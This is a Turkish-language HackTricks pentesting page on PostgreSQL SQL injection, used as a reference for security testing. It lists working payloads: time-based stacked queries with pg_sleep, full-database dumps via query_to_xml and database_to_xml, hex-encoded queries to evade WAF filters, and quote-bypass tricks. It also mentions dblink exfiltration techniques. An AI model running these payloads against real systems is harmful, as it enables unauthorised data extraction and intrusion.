hacktricks/pentesting-web/sql-injection/postgresql-injection
2024-04-17 05:40:04 +00:00
..
big-binary-files-upload-postgresql.md Translated to Turkish 2024-02-10 18:14:16 +00:00
dblink-lo_import-data-exfiltration.md Translated to Turkish 2024-02-10 18:14:16 +00:00
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md Translated to Turkish 2024-02-10 18:14:16 +00:00
pl-pgsql-password-bruteforce.md Translated to Turkish 2024-02-10 18:14:16 +00:00
rce-with-postgresql-extensions.md Translated to Turkish 2024-02-10 18:14:16 +00:00
rce-with-postgresql-languages.md GitBook: No commit message 2024-04-06 19:40:41 +00:00
README.md Translated ['binary-exploitation/basic-binary-exploitation-methodology/t 2024-04-17 05:40:04 +00:00

PostgreSQL enjeksiyonu

AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'i desteklemenin diğer yolları:

Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı şekilde Lehçe yazılı ve konuşma gereklidir).

{% embed url="https://www.stmcyber.com/careers" %}


Bu sayfa, postgresql veritabanında bulunan bir SQL enjeksiyonunu sömürmenize yardımcı olabilecek farklı hileleri açıklamayı amaçlamaktadır ve https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md** adresinde bulabileceğiniz hileleri tamamlamaktadır.**

Ağ Etkileşimi - Yetki Yükseltme, Port Tarama, NTLM meydan okuma yanıtı ifşası ve Veri Çıkarma

PostgreSQL modülü dblink, diğer PostgreSQL örneklerine bağlanma ve TCP bağlantıları yürütme yetenekleri sunar. Bu özellikler, COPY FROM işlevi ile birleştirildiğinde, ayrıcalık yükseltme, port tarama ve NTLM meydan okuma yanıtı yakalama gibi eylemleri mümkün kılar. Bu saldırıları gerçekleştirmek için detaylı yöntemler için bu saldırıları nasıl gerçekleştireceğinizi kontrol edin.

Bir CTF örneğini görmek için bu örneği inceleyebilirsiniz. Büyük nesneler içine veri yükleme ve daha sonra büyük nesnelerin içeriğini dblink_connect fonksiyonunun kullanıcı adı içine veri çıkarma işlemini gösterir.

PostgreSQL Saldırıları: Okuma/Yazma, Uzaktan Kod Çalıştırma (RCE), ayrıcalık yükseltme

PostgreSQL'den ana bilgisayarı tehlikeye atma ve ayrıcalıkları yükseltme konusunda kontrol edin:

{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}

WAF atlatma

PostgreSQL Dize işlevleri

Dizeleri manipüle etmek, WAF'leri veya diğer kısıtlamaları atlatmanıza yardımcı olabilir.
Bu sayfada bazı kullanışlı Dize işlevlerini bulabilirsiniz.

Yığılmış Sorgular

Postgresql'in yığılmış sorguları desteklediğini unutmayın, ancak birçok uygulama, yalnızca 1 yanıt beklerken 2 yanıt döndüğünde hata verecektir. Ancak, yığılmış sorguları Zaman enjeksiyonu aracılığıyla hala kötüye kullanabilirsiniz:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML hileleri

query_to_xml

Bu işlev, tüm verileri sadece bir dosyada XML formatında döndürecektir. Eğer çok miktarda veriyi sadece 1 satırda dökmek istiyorsanız idealdir:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Bu işlev, tüm veritabanını XML formatında sadece 1 satırda dökecektir (veritabanı çok büyükse dikkatli olun, çünkü DoS saldırısına maruz kalabilirsiniz veya hatta kendi istemcinizi etkileyebilirsiniz):

SELECT database_to_xml(true,true,'');

Hexadecimal Dizeler

Eğer sorguları bir dize içinde çalıştırabiliyorsanız (örneğin query_to_xml fonksiyonunu kullanarak), dizeyi onaltılık olarak geçmek için convert_from kullanabilir ve bu şekilde filtreleri atlayabilirsiniz:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

{% endcode %}

Yasaklı tırnaklar

Eğer payload'ınızda tırnak kullanamıyorsanız, bu durumu CHR ile atlayabilirsiniz (karakter birleştirme yalnızca SELECT, INSERT, DELETE vb. temel sorgular için çalışır. Tüm SQL ifadeleri için çalışmaz):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Veya $ ile. Bu sorgular aynı sonuçları döndürür:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı şekilde Lehçe yazılı ve konuşma gereklidir).

{% embed url="https://www.stmcyber.com/careers" %}

Sıfırdan kahraman olana kadar AWS hackleme becerilerini öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: